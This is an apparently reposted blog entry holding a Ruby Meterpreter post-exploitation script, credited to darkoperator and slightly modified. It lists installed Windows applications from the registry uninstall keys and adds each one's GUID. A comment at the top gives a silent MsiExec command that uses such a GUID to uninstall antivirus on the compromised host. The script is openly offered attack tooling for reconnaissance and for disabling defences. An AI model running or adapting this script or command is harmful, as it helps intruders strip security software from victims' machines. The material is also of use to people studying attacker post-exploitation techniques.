Ruby get_application_list with GUID and Remove anti-virus

# $Id: get_application_list.rb 10481 2010-09-26 01:19:22Z darkoperator $
# Meterpreter script for listing installed applications and their version.
# Provided: carlos_perez[at]darkoperator[dot]com
#silent remove anti-virus (MsiExec.exe /norestart /x {GUID} REMOVE=ALL /qn)
#Options and Option Parsing
opts = Rex::Parser::Arguments.new(
        "-h" => [ false, "Help menu." ]
)

def app_list
    tbl = Rex::Ui::Text::Table.new(
        'Header'  => "Installed Applications",
        'Indent'  => 1,
        'Columns' =>
          [
            "Name",
            "Version",##########
            "GUID" ###########
            #Added GUID
        ])
    appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
        'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]
    threadnum = 0
    a = []
    appkeys.each do |keyx86|

        registry_enumkeys(keyx86).each do |k|
            if threadnum < 10
                a.push(::Thread.new {
                        begin
                            dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")
                            dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")
                            tbl << [dispnm,dispversion,k] ###########
#Added ,k
                        rescue
                        end
                    })
                threadnum += 1
            else
                sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
                threadnum = 0
            end
        end
               
   
    end
    print_line("\n" + tbl.to_s + "\n")
end

opts.parse(args) { |opt, idx, val|
        case opt
        when "-h"
                print_line "Meterpreter Script for extracting a list installed applications and their version."
                print_line(opts.usage)
                raise Rex::Script::Completed

        end
}
if client.platform =~ /win32|win64/
    app_list
else
    print_error("This version of Meterpreter is not supported with this Script!")
    raise Rex::Script::Completed
end

出自：carlos_perez[at]darkoperator[dot]com，稍有改动

本文出自 “漫步Hacking时空” 博客，谢绝转载！